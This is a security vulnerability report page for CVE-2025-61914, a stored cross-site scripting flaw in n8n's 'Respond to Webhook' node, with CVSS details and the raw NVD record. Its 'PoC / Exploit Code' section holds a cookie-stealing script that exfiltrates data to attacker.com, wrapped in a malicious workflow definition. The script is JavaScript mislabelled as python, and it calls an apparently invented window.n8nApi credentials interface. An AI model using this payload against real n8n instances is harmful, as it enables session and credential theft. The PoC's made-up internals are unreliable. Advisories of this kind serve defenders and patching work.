Security Vulnerability Report
中文
CVE-2025-61914 CVSS 7.3 HIGH

CVE-2025-61914

Published: 2025-12-26 22:15:51
Last Modified: 2025-12-31 21:31:37

Description

n8n is an open source workflow automation platform. Prior to version 1.114.0, a stored Cross-Site Scripting (XSS) vulnerability may occur in n8n when using the “Respond to Webhook” node. When this node responds with HTML content containing executable scripts, the payload may execute directly in the top-level window, rather than within the expected sandbox introduced in version 1.103.0. This behavior can enable a malicious actor with workflow creation permissions to execute arbitrary JavaScript in the context of the n8n editor interface. This issue has been patched in version 1.114.0. Workarounds for this issue involve restricting workflow creation and modification privileges to trusted users only, avoiding use of untrusted HTML responses in the “Respond to Webhook” node, and using an external reverse proxy or HTML sanitizer to filter responses that include executable scripts.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:* - VULNERABLE
n8n < 1.114.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-61914 PoC - Stored XSS via Respond to Webhook node // This PoC demonstrates how to exploit the XSS vulnerability in n8n // Step 1: Create a malicious workflow with Respond to Webhook node const maliciousPayload = ` <html> <body> <script> // Steal session cookies document.cookie.split(';').forEach(cookie => { fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(cookie)); }); // Exfiltrate n8n internal data const n8nData = { workflows: [], credentials: [], userInfo: {} }; // Attempt to access n8n internal APIs if (window.n8nApi) { n8nData.workflows = window.n8nApi.getWorkflows(); n8nData.credentials = window.n8nApi.getCredentials(); } // Send stolen data to attacker server fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(n8nData) }); </script> <h1>Webhook Response</h1> <p>Your request has been processed.</p> </body> </html> `; // Step 2: Workflow JSON configuration const workflow = { name: "Malicious Webhook Workflow", nodes: [ { name: "Webhook", type: "n8n-nodes-base.webhook", parameters: { path: "malicious-endpoint" } }, { name: "Respond to Webhook", type: "n8n-nodes-base.respondToWebhook", parameters: { respondWith: "options", responseBody: maliciousPayload, options: { responseContentType: "text/html" } } } ] }; console.log("Malicious workflow created. When triggered, XSS payload will execute in victim's browser.");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61914", "sourceIdentifier": "[email protected]", "published": "2025-12-26T22:15:51.337", "lastModified": "2025-12-31T21:31:37.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n is an open source workflow automation platform. Prior to version 1.114.0, a stored Cross-Site Scripting (XSS) vulnerability may occur in n8n when using the “Respond to Webhook” node. When this node responds with HTML content containing executable scripts, the payload may execute directly in the top-level window, rather than within the expected sandbox introduced in version 1.103.0. This behavior can enable a malicious actor with workflow creation permissions to execute arbitrary JavaScript in the context of the n8n editor interface. This issue has been patched in version 1.114.0. Workarounds for this issue involve restricting workflow creation and modification privileges to trusted users only, avoiding use of untrusted HTML responses in the “Respond to Webhook” node, and using an external reverse proxy or HTML sanitizer to filter responses that include executable scripts."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:n8n:n8n:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.114.0", "matchCriteriaId": "BEF37C65-F648-4DCF-8138-9C3DC6D78099"}]}]}], "references": [{"url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-58jc-rcg5-95f3", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}